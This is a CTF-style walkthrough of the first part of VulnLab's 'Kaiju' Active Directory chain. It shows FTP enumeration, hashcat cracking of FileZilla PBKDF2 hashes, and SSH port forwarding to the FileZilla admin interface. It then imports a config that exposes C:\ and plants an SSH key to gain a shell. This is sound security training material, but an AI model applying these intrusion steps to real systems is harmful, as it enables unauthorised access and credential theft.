index-logo

Kaiju - VulnLab

hard-difficulty chain

Chain: Kaiju
Difficult: Hard
Platform: VulnLab

Introduction


Today, we’ll walk through Kaiju, a hard-difficulty chain from VulnLab. This lab simulates a multi-host Active Directory environment where initial access is obtained through misconfigurations in exposed services. From there, we pivot across different machines, escalate privileges, and eventually compromise the domain. Along the way, we’ll explore techniques such as:


  • Enumerating and exploiting FTP misconfigurations.


  • Leveraging weakly protected credentials and FileZilla administration.


  • Abusing group memberships to compromise KeePass.


  • Extracting and reusing credentials for lateral movement.


  • Setting up SOCKS proxies, SSH tunnels, and Port Bending with StreamDivert to bypass firewall restrictions.


  • Exploiting Active Directory Certificate Services (ADCS) misconfigurations (ESC8) for domain compromise.


One of the main reasons I chose to document this chain is that my recent articles have focused heavily on ADCS internals and abuse scenarios. I wanted to take the opportunity to demonstrate one of my favorite ADCS exploitation techniques in a CTF-style environment, showing how ADCS exploitation can fit naturally into a multi-step attack path.


It’s worth mentioning that this is a Chain Lab, not a Red Team Lab. That means the focus here is on demonstrating and practicing exploitation techniques in a controlled environment, not on stealth, evasion, or OPSEC. Today, we'll focus on the exploitation steps without worrying about detection. However, upcoming writeups will also cover Red Team Labs, where OPSEC-aware tradecraft and stealthier approaches will be emphasized.


Recon


As this is a Chain lab, there are multiple machines to enumerate. Initially, we'll conduct a port scan to discover open ports on the victim machines using nmap.


elswix@ubuntu$ nmap -sCV -iL targets.txt -Pn
Stats: 0:00:37 elapsed; 0 hosts completed (3 up), 3 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 14:06 (0:00:05 remaining)
Nmap scan report for 10.10.221.53 (10.10.221.53)
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BERSRV100.kaiju.vl
| Not valid before: 2025-09-08T14:03:47
|_Not valid after:  2026-03-10T14:03:47
|_ssl-date: 2025-09-09T14:07:09+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: KAIJU
|   NetBIOS_Domain_Name: KAIJU
|   NetBIOS_Computer_Name: BERSRV100
|   DNS_Domain_Name: kaiju.vl
|   DNS_Computer_Name: BERSRV100.kaiju.vl
|   DNS_Tree_Name: kaiju.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-09T14:07:03+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

Nmap scan report for 10.10.221.54 (10.10.221.54)
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp?
| ssl-cert: Subject: commonName=filezilla-server self signed certificate
| Not valid before: 2023-12-17T14:33:49
|_Not valid after:  2024-12-17T14:38:49
|_ssl-date: TLS randomness does not represent time
...[snip]...
22/tcp   open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 08:c7:c6:6a:51:48:2a:07:3f:9e:88:0c:e2:ff:2c:b9 (RSA)
|   256 75:96:f0:68:8a:03:69:ab:e4:9b:3e:5a:17:a8:ab:24 (ECDSA)
|_  256 d4:8e:ad:d3:23:a9:7b:7b:7b:16:9f:86:cb:ab:a3:55 (ED25519)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BERSRV200.kaiju.vl
| Not valid before: 2025-09-08T14:03:21
|_Not valid after:  2026-03-10T14:03:21
|_ssl-date: 2025-09-09T14:07:09+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: KAIJU
|   NetBIOS_Domain_Name: KAIJU
|   NetBIOS_Computer_Name: BERSRV200
|   DNS_Domain_Name: kaiju.vl
|   DNS_Computer_Name: BERSRV200.kaiju.vl
|   DNS_Tree_Name: kaiju.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-09T14:07:03+00:00
...[snip]...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

Nmap scan report for 10.10.221.55 (10.10.221.55)
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BERSRV105.kaiju.vl
| Not valid before: 2025-09-08T14:03:29
|_Not valid after:  2026-03-10T14:03:29
|_ssl-date: 2025-09-09T14:07:08+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: KAIJU
|   NetBIOS_Domain_Name: KAIJU
|   NetBIOS_Computer_Name: BERSRV105
|   DNS_Domain_Name: kaiju.vl
|   DNS_Computer_Name: BERSRV105.kaiju.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-09T14:07:02+00:00
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Post-scan script results:
| clock-skew: 
|   1s: 
|     10.10.221.53
|     10.10.221.54
|_    10.10.221.54
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 75.95 seconds

As observed in the output, two of the three machines only have port 3389 (RDP) open, which is useless at this stage without valid credentials. However, the BERSRV200 server is also exposing ports 21 (FTP) and 22 (SSH). While SSH requires valid credentials to log in, FTP might allow anonymous access.


When reviewing the RDP analysis for each computer, we noticed the presence of a domain, kaiju.vl. This suggests that we are dealing with an Active Directory environment. Due to certain firewall rules, however, we cannot reach services such as Kerberos or LDAP. Additionally, the DNS_Computer_Name field for each host does not reveal much about the role of the machine. Unlike other environments where names like dc01.domain.local clearly identify a domain controller, here we cannot determine the purpose of each computer.


Before enumerating FTP, I’ll add the DNS information returned from port 3389 to my /etc/hosts file, like so:


10.10.221.53 BERSRV100.kaiju.vl
10.10.221.54 BERSRV200.kaiju.vl
10.10.221.55 BERSRV105.kaiju.vl

FTP - Port 21 (BERSRV200)


Since the other exposed services require valid credentials, let’s check if FTP allows anonymous access. The FTP service is running on a FileZilla Server (as identified in the previous analysis), so if anonymous login is enabled, we should be able to connect using ftp as username and an empty password.


For context, FileZilla Server is an open-source FTP and FTPS server solution widely used on Windows environments. It allows administrators to configure user accounts, manage permissions, and define which directories can be shared with clients. Because of its simplicity and ease of setup, it’s a common choice for internal file sharing or lightweight FTP deployments.


elswix@ubuntu$ ftp BERSRV200.kaiju.vl
Connected to BERSRV200.kaiju.vl.
220-FileZilla Server 1.8.0
220 Please visit https://filezilla-project.org/
Name (BERSRV200.kaiju.vl:elswix): ftp
331 Please, specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

As shown, we were able to connect to the FTP service using anonymous credentials.


Upon listing the exposed directories, we found some interesting files:


ftp> ls Configs/FileZilla/
229 Entering Extended Passive Mode (|||65018|)
150 Starting data transfer.
-r--r--r-- 1 ftp ftp            2236 Dec 17  2023 users.xml
226 Operation successful
ftp> ls Passwords
229 Entering Extended Passive Mode (|||65515|)
150 Starting data transfer.
-r--r--r-- 1 ftp ftp              20 Jan 30  2024 firewalls.txt
-r--r--r-- 1 ftp ftp               9 Jan 30  2024 ftp.txt
-r--r--r-- 1 ftp ftp              32 Dec 29  2023 local.txt
226 Operation successful
ftp>

There’s a users.xml FileZilla configuration file, along with a couple of password files. I’ll go ahead and download them for inspection.


elswix@ubuntu$ cat *.txt
firewall:firewall123
ftp:ftp
administrator:[Moved to KeePass]

These password files do not provide any useful information. Apparently, as shown above, the administrator password is stored in a KeePass database. Keep this in mind, as we'll come back to KeePass later.


On the other hand, the users.xml file contains some rather interesting information.


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<filezilla xmlns:fz="https://filezilla-project.org" xmlns="https://filezilla-project.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" fz:product_flavour="standard" fz:product_version="1.8.0">
    <default_impersonator index="0" enabled="false">
        <name></name>
        <password></password>
    </default_impersonator>
    <user name="&lt;system user>" enabled="false">
...[snip]...
    </user>
    <user name="backup" enabled="true">
        <mount_point tvfs_path="/" access="1" native_path="" new_native_path="E:\Private" recursive="2" flags="0" />
        <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
        <allowed_ips></allowed_ips>
        <disallowed_ips></disallowed_ips>
        <session_open_limits files="unlimited" directories="unlimited" />
        <session_count_limit>unlimited</session_count_limit>
        <description></description>
        <password index="1">
            <hash>ZqRNhkBO8d4VYJb0YmF7cJgjECAH43MHdNABkHYjNFU</hash>
            <salt>aec9Yt49edyEvXkZUinmS52UrwNoNNgoM+6rK3fuFFw</salt>
            <iterations>100000</iterations>
        </password>
        <methods>1</methods>
    </user>
    <user name="ftp" enabled="true">
        <mount_point tvfs_path="/" access="1" native_path="" new_native_path="E:\Public" recursive="2" flags="0" />
        <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
        <allowed_ips></allowed_ips>
        <disallowed_ips></disallowed_ips>
        <session_open_limits files="unlimited" directories="unlimited" />
        <session_count_limit>unlimited</session_count_limit>
        <description></description>
        <password index="0" />
        <methods>0</methods>
    </user>
</filezilla>

This is a FileZilla configuration file that defines user directory access and credentials. As seen, the ftp user (the one that allows anonymous login) has access to the E:\Public directory, which we have already explored. More interestingly, there is another user named backup, who has access to the E:\Private directory. Unlike the ftp user, this account does not allow anonymous access, instead, its credentials are stored in the configuration file in hashed form.


To crack this hash, we first need to determine which hashing algorithm FileZilla uses. Initially, I ran into some issues because many articles suggested that FileZilla uses PBKDF2 with HMAC-SHA512 for the users.xml file. While that’s true in most cases, I wasn’t able to crack the hash. At first, I assumed the problem was that the backup user’s password wasn’t in my wordlist. However, after trying a few common passwords, I managed to log in using backup123. Even though this confirmed the correct password, I was still puzzled as to why it hadn’t cracked, since the password is included in my custom wordlist. After digging a bit deeper, I found another post explaining that the password can also be hashed using PBKDF2 with HMAC-SHA256.


You can format the hash like this to crack it with Hashcat:

sha256:100000:aec9Yt49edyEvXkZUinmS52UrwNoNNgoM+6rK3fuFFw:ZqRNhkBO8d4VYJb0YmF7cJgjECAH43MHdNABkHYjNFU

To crack this, I created a custom wordlist using common words related to the user and the organization (the chain) name:

Password123
Password
backup
Backup123
backup123
backup2024
secret123
secret
Secret123
Kaiju123
kaiju123
kaiju2023
kaiju2024
kaiju
KAIJU
PASSWORD

Now, let’s crack it using Hashcat with hash mode 10900, which corresponds to PBKDF2-HMAC-SHA256:

elswix@ubuntu$ hashcat -m 10900 -a0 hash.txt wordlist.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
...[snip]...          

sha256:100000:aec9Yt49edyEvXkZUinmS52UrwNoNNgoM+6rK3fuFFw:ZqRNhkBO8d4VYJb0YmF7cJgjECAH43MHdNABkHYjNFU:backup123

...[snip]...

Alright, let’s move on with the chain.


Now, let's connect to the FileZilla server using the backup user:


ftp> ls
229 Entering Extended Passive Mode (|||65037|)
150 Starting data transfer.
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Backups
226 Operation successful
ftp>

Once logged in, we discovered another Backups directory. However, listing its contents showed that it was empty. So, what now? Well, this machine also has an SSH service running, let's check if the backup user exists and whether it uses the same password as in FileZilla.


elswix@ubuntu$ ssh backup@BERSRV200.kaiju.vl
backup@BERSRV200.kaiju.vl's password: 
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

backup@BERSRV200 C:\Users\backup>

And it worked! We gained access to BERSRV200 as the backup user.


The backup account is just a local user and doesn’t have any interesting privileges on the machine.


backup@BERSRV200 C:\Users\backup>whoami /all

USER INFORMATION
----------------

User Name        SID
================ ===========================================
bersrv200\backup S-1-5-21-2619869422-1307147141-4583047-1002


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

backup@BERSRV200 C:\Users\backup>

The Users directory gives us information about accounts that were logged in the system:


backup@BERSRV200 C:\Users\backup>dir ..
 Volume in drive C has no label.
 Volume Serial Number is AC3F-A083

 Directory of C:\Users

09/09/2025  08:12 AM    <DIR>          .
12/17/2023  06:23 AM    <DIR>          Administrator
01/21/2024  07:52 AM    <DIR>          Administrator.KAIJU
09/09/2025  08:12 AM    <DIR>          backup
12/17/2023  08:26 AM    <DIR>          clare.frost
12/17/2023  06:23 AM    <DIR>          Public
12/17/2023  07:38 AM    <DIR>          sasrv200
               0 File(s)              0 bytes
               7 Dir(s)   7,880,282,112 bytes free

backup@BERSRV200 C:\Users\backup>

clare.frost seems to be a domain user, but at this point we can’t do anything with that.


So far, we don’t know which of the machines are domain controllers. One way to identify a DC is by running ipconfig /all and checking the DNS server. Workstations and other Windows servers joined to a domain typically have their DNS server pointing to the IP address of the DC.


backup@BERSRV200 C:\Users\backup> ipconfig /all | findstr "DNS"         
   DNS Suffix Search List. . . . . . : kaiju.vl
   Connection-specific DNS Suffix  . : eu-central-1.compute.internal
   DNS Servers . . . . . . . . . . . : 10.10.221.53

In this case, the DNS server is 10.10.221.53, which corresponds to the BERSRV100 machine. You’ll likely need this information later, so make a note of it. We’ll also be using a SOCKS proxy later to reach some internal services.


After navigating through the File System, I didn't find anything interesting in the C drive that the backup user has access. However, there's another E: drive, as we saw in the users.xml file.


backup@BERSRV200 C:\> E:
backup@BERSRV200 E:\>dir
 Volume in drive E is Data
 Volume Serial Number is A494-31FF

 Directory of E:\

12/27/2023  03:15 AM    <DIR>          Private
12/27/2023  03:15 AM    <DIR>          Program Files
12/27/2023  03:15 AM    <DIR>          Public
               0 File(s)              0 bytes
               3 Dir(s)   1,960,206,336 bytes free

backup@BERSRV200 E:\>

As observed, the directories we previously accessed through FTP are also here. However, there’s another interesting one: Program Files.


backup@BERSRV200 E:\Program Files>tree /F
Folder PATH listing for volume Data
Volume serial number is A494-31FF
E:.
├───FileZilla Server
      COPYING
      filezilla-server-config-converter.exe
      filezilla-server-crypt.exe
      filezilla-server-gui.exe
      filezilla-server-impersonator.exe
      filezilla-server.exe
      install.log
      libfilezilla-41.dll
      libgcc_s_seh-1.dll
      libgmp-10.dll
      libgnutls-30.dll
      libhogweed-6.dll
      libnettle-8.dll
      libpng16-16.dll
      libstdc++-6.dll
      NEWS
      Uninstall.exe
      wxbase32u_gcc_custom.dll
      wxmsw32u_core_gcc_custom.dll
      zlib1.dll
   
   └───Logs
           filezilla-server.log

└───PuTTY
        LICENCE
        pageant.exe
        plink.exe
        pscp.exe
        psftp.exe
        putty.chm
        putty.exe
        puttygen.exe
        README.txt
        website.url


backup@BERSRV200 E:\Program Files>

As expected, this directory contains the installation folders for PuTTY and FileZilla. Inside the FileZilla installation directory, there’s an interesting file named install.log. Along with the usual installation logs, FileZilla also stores the admin user’s password in this file, by default in a hashed form.


backup@BERSRV200 E:\Program Files\FileZilla Server>type install.log
Create folder: E:\Program Files\FileZilla Server\Logs
Output folder: E:\Program Files\FileZilla Server
Created uninstaller: E:\Program Files\FileZilla Server\Uninstall.exe
Output folder: E:\Program Files\FileZilla Server
Extract: libfilezilla-41.dll
Extract: libgcc_s_seh-1.dll
Extract: libgmp-10.dll
Extract: libgnutls-30.dll
...[snip]...
Server\filezilla-server.exe
Service filezilla-server successfully created.
CheckConfigVersion: got [ok
]
Delete file: C:\Users\ADMINI~1\AppData\Local\Temp\1\nsxEDF4.tmp
Crypt output: [--admin.password@index=1 --admin.password.hash=mSbrgj1R6**********TuYTchS5r8Yk3Y5vsBgf2tF8 --admin.password.salt=AdRNx7rAs**********7NyAQYHcuo2LuevU3pAXKB18 --admin.password.iterations=100000]
...[snip]...

Let’s try to crack this hash using the same wordlist we used earlier:


elswix@ubuntu$ hashcat -m 10900 -a0 hash_admin wordlist.txt
...[snip]...          

sha256:100000:AdRNx7rAs**********7NyAQYHcuo2LuevU3pAXKB18:mSbrgj1R6**********TuYTchS5r8Yk3Y5vsBgf2tF8:k******

...[snip]...

It worked! We’ve successfully cracked the admin user’s password. But how can we leverage this?


FileZilla Administration Interface - Port 14148


FileZilla Server, by default, provides an administration interface that allows administrators to remotely connect to and manage the FileZilla Server application. Through this interface, one can configure server settings, manage user accounts, define shared directories, and monitor active connections. This service typically listens on port 14148 by default. To access it, valid administrator credentials are required, which we’ve just obtained.


When listing the open ports on the machine and filtering for port 14148, we can see that this interface is only accessible from localhost. This means we cannot reach the service directly from our attacker machine:


backup@BERSRV200 E:\Program Files\FileZilla Server>netstat -ano | findstr 14148
  TCP    127.0.0.1:14148        0.0.0.0:0              LISTENING       3884
  TCP    [::1]:14148            [::]:0                 LISTENING       3884

backup@BERSRV200 E:\Program Files\FileZilla Server>

However, since we already have access to the system, we can set up local port forwarding. We can leverage SSH -L parameter for this, so no external tools are needed.


elswix@ubuntu$ ssh backup@BERSRV200.kaiju.vl -L 14148:127.0.0.1:14148
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

backup@BERSRV200 C:\Users\backup>

Now, when listing the open ports on our machine, we can see that port 14148 is open. All traffic sent to this port is being forwarded to port 14148 on the victim machine.


Now that we can directly interact with the administration interface, how do we actually communicate with it? To do this, we need to download the FileZilla Server GUI, which allows us to connect to the administration interface. It’s important to note that the GUI version must match the victim’s FileZilla Server version exactly, otherwise, the connection will fail. In this case, the server is running FileZilla Server 1.8.0, so I downloaded and installed the same version on my Windows VM.


Of course, if you want to interact with this server, you’ll need to connect your Windows VM to the VulnLab VPN. You’ll also have to set up the local port forwarding tunnel. Alternatively, you can expose the local port forwarding tunnel on 0.0.0.0 (all interfaces) and then connect from your Windows VM to port 14148 on the Linux VM (that's the approach I used).


ssh backup@BERSRV200.kaiju.vl -L 0.0.0.0:14148:127.0.0.1:14148

Once you open the program, you'll see the following interface:


Click the Connect to Server button and enter the credentials:

As shown, I specified the 192.168.100.1 host (my Linux VM) along with the password we cracked earlier. Then, I clicked OK, and if everything went well, the connection was established successfully:


Great! We've successfully logged into the FileZilla Administration Interface. As mentioned earlier, this interface allows the administrator to configure the exposed directories, among other settings. This means that if we manage to import our own configuration, we could expose an arbitrary local directory through the FTP server, with the privileges of the user running the FileZilla Server.


First, let's export the current configuration so we can modify it:


This exports everything into an XML file with the following content:


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<filezilla-server-exported xmlns:fz="https://filezilla-project.org" xmlns="https://filezilla-project.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" fz:product_flavour="standard" fz:product_version="1.8.0">
...[snip]...
    <disallowed_ips></disallowed_ips>
    <allowed_ips></allowed_ips>
    <groups />
    <users>
        <default_impersonator index="0" enabled="false">
            <name></name>
            <password></password>
        </default_impersonator>
        <user name="&lt;system user>" enabled="false">
            <mount_point tvfs_path="/" access="1" native_path="" new_native_path="%&lt;home>" recursive="2" flags="0" />
            <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
            <allowed_ips></allowed_ips>
            <disallowed_ips></disallowed_ips>
            <session_open_limits files="unlimited" directories="unlimited" />
            <session_count_limit>unlimited</session_count_limit>
            <description>This user can impersonate any system user.</description>
            <impersonation login_only="false" />
            <methods>1</methods>
        </user>
        <user name="backup" enabled="true">
            <mount_point tvfs_path="/" access="1" native_path="" new_native_path="E:\Private" recursive="2" flags="0" />
            <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
            <allowed_ips></allowed_ips>
            <disallowed_ips></disallowed_ips>
            <session_open_limits files="unlimited" directories="unlimited" />
            <session_count_limit>unlimited</session_count_limit>
            <description></description>
            <password index="1">
                <hash>ZqRNhkBO8d4VYJb0YmF7cJgjECAH43MHdNABkHYjNFU</hash>
                <salt>aec9Yt49edyEvXkZUinmS52UrwNoNNgoM+6rK3fuFFw</salt>
                <iterations>100000</iterations>
            </password>
            <methods>1</methods>
        </user>
...[snip]...<fingerprint>72:30:ea:81:80:0f:33:99:cc:70:52:1e:7c:bc:6f:ba:2c:4d:4b:0d:6f:bc:fe:61:7e:e6:c1:06:38:d5:3d:9d</fingerprint>
            </original>
...[snip]...
</filezilla-server-exported>

It defines user and the directory access, similar to what we've seen earlier in the users.xml file. I'll add this setting following to the backup user definition:


<user name="support" enabled="true">
            <mount_point tvfs_path="/" access="1" native_path="" new_native_path="C:\" recursive="2" flags="0" />
            <rate_limits inbound="unlimited" outbound="unlimited" session_inbound="unlimited" session_outbound="unlimited" />
            <allowed_ips></allowed_ips>
            <disallowed_ips></disallowed_ips>
            <session_open_limits files="unlimited" directories="unlimited" />
            <session_count_limit>unlimited</session_count_limit>
            <description></description>
            <password index="1">
                <hash>ZqRNhkBO8d4VYJb0YmF7cJgjECAH43MHdNABkHYjNFU</hash>
                <salt>aec9Yt49edyEvXkZUinmS52UrwNoNNgoM+6rK3fuFFw</salt>
                <iterations>100000</iterations>
            </password>
            <methods>1</methods>
</user>

Let's break down what this setting does. In simple terms, it creates a new user named support, who has access to the C:\ directory. Essentially, the support user can access the entire C: drive (with the privileges of the user running the service). I simply reused the same password hash as the backup user, which means we can authenticate as support using the password backup123.


Now, let's import this new configuration:


At first glance, nothing seems to be broken. Let's see if we can access the FTP server using our new user support.


elswix@ubuntu$ ftp support@BERSRV200.kaiju.vl
Connected to BERSRV200.kaiju.vl.
220-FileZilla Server 1.8.0
220 Please visit https://filezilla-project.org/
331 Please, specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||65152|)
150 Starting data transfer.
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 $Recycle.Bin
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 $WinREAgent
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Documents and Settings
-rw-rw-rw- 1 ftp ftp           12288 Sep 09 20:51 DumpStack.log.tmp
-rw-rw-rw- 1 ftp ftp      1207959552 Sep 09 20:51 pagefile.sys
drwxrwxrwx 1 ftp ftp               0 May 08  2021 PerfLogs
drwxrwxrwx 1 ftp ftp               0 Dec 27  2023 Program Files
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Program Files (x86)
drwxrwxrwx 1 ftp ftp               0 Dec 27  2023 ProgramData
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Recovery
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 System Volume Information
drwxrwxrwx 1 ftp ftp               0 Sep 09 20:52 Users
drwxrwxrwx 1 ftp ftp               0 Dec 29  2023 Windows
226 Operation successful
ftp>

Nice! We've successfully accessed the FTP server as support, and we now have access to the C:\ drive. But how do we determine which user is running the FileZilla server, so we know where we can write? You can simply create a folder and then run cacls in the SSH console to list its privileges:


backup@BERSRV200 C:\>cacls test
C:\test NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F 
        BUILTIN\Administrators:(OI)(CI)(ID)F
        BUILTIN\Users:(OI)(CI)(ID)R
        BUILTIN\Users:(CI)(ID)(special access:)
                              FILE_APPEND_DATA

        BUILTIN\Users:(CI)(ID)(special access:)
                              FILE_WRITE_DATA

        KAIJU\sasrv200:(ID)F
        CREATOR OWNER:(OI)(CI)(IO)(ID)F

I created a folder named test in the root of C:\ using FTP and then ran cacls on it to display its privileges. In the output, we can see the sasrv200 user, which indicates that FileZilla is running with that user's privileges.


Now, we can list the sasrv200 home directory:


ftp> ls Users/sasrv200
229 Entering Extended Passive Mode (|||65063|)
150 Starting data transfer.
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 AppData
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Application Data
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Cookies
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Desktop
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Documents
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Downloads
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Favorites
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Links
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Local Settings
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Music
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 My Documents
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 NetHood
-rw-rw-rw- 1 ftp ftp          262144 Feb 13  2024 NTUSER.DAT
-rw-rw-rw- 1 ftp ftp          121856 Dec 17  2023 ntuser.dat.LOG1
-rw-rw-rw- 1 ftp ftp          135168 Dec 17  2023 ntuser.dat.LOG2
-rw-rw-rw- 1 ftp ftp           65536 Dec 17  2023 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TM.blf
-rw-rw-rw- 1 ftp ftp          524288 Dec 17  2023 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000001.regtrans-ms
-rw-rw-rw- 1 ftp ftp          524288 Dec 17  2023 NTUSER.DAT{c76cbcdb-afc9-11eb-8234-000d3aa6d50e}.TMContainer00000000000000000002.regtrans-ms
-rw-rw-rw- 1 ftp ftp              20 Dec 17  2023 ntuser.ini
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Pictures
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 PrintHood
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Recent
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Saved Games
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 SendTo
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Start Menu
drwxrwxrwx 1 ftp ftp               0 Dec 17  2023 Templates
drwxrwxrwx 1 ftp ftp               0 May 08  2021 Videos
226 Operation successful
ftp>

This is great, we can read and write files as sasrv200, but I would prefer to have shell access as sasrv200. Since SSH is open on this machine, we can try using SSH keys to gain access as that user. Let's create a .ssh folder in the sasrv200 home directory and generate an SSH key pair to add our public key to sasrv200’s authorized_keys.


Firstly, let's generate the SSH keys:


elswix@ubuntu$ ssh-keygen -t ed25519 -f sasrv200
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in sasrv200
Your public key has been saved in sasrv200.pub
The key fingerprint is:
SHA256:jUju+2FXd5clnTcvWxWYaRZYvp200NC9GE3L5C1QKSQ elswix@hackency
The key's randomart image is:
+--[ED25519 256]--+
|          E.==X=.|
|           ooOB+*|
|      .     o+=OB|
|     o . o   .=+X|
|      o S . ..o==|
|     .     . . =.|
|      . o .   .  |
|       o o       |
|      ...        |
+----[SHA256]-----+

Now, let's copy the sasrv200.pub key into the authorized_keys file of sasrv200:


ftp> mkdir .ssh
257 "/Users/sasrv200/.ssh" created successfully.
ftp> cd .ssh
250 CWD command successful
ftp> put authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||65489|)
150 Starting data transfer.
100% |***********************************************************************************|    97      296.02 KiB/s    00:00 ETA
226 Operation successful
97 bytes sent in 00:00 (0.40 KiB/s)
ftp>

Note: You need to create the .ssh directory inside the user's home folder, and the authorized_keys file must be placed within it."


Now, if we've correctly placed our public key in the authorized_keys file, we should be able to connect using the associated private key with the -i parameter, and it shouldn’t prompt us for a password.


elswix@ubuntu$ ssh sasrv200@BERSRV200.kaiju.vl -i sasrv200
Microsoft Windows [Version 10.0.20348.2159]
(c) Microsoft Corporation. All rights reserved.

kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

Great! We've successfully gained access to the system as sasrv200. Now we can retrieve the first flag from the Desktop directory:


kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>type Desktop\flag.txt 
VL{3d73************0db6}
kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

sasrv200 is a domain user:


kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>whoami /all

USER INFORMATION
----------------

User Name      SID
============== ==============================================
kaiju\sasrv200 S-1-5-21-1202327606-3023051327-2528451343-1104


GROUP INFORMATION
-----------------

Group Name                             Type             SID                                         Attributes                  

====================================== ================ =========================================== ==================================================
Everyone                               Well-known group S-1-1-0                                     Mandatory group, Enabled by default, Enabled group
BERSRV200\ftpadmins                    Alias            S-1-5-21-2619869422-1307147141-4583047-1003 Mandatory group, Enabled by default, ...[snip]...

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

...[snip]...
kaiju\sasrv200@BERSRV200 C:\Users\sasrv200>

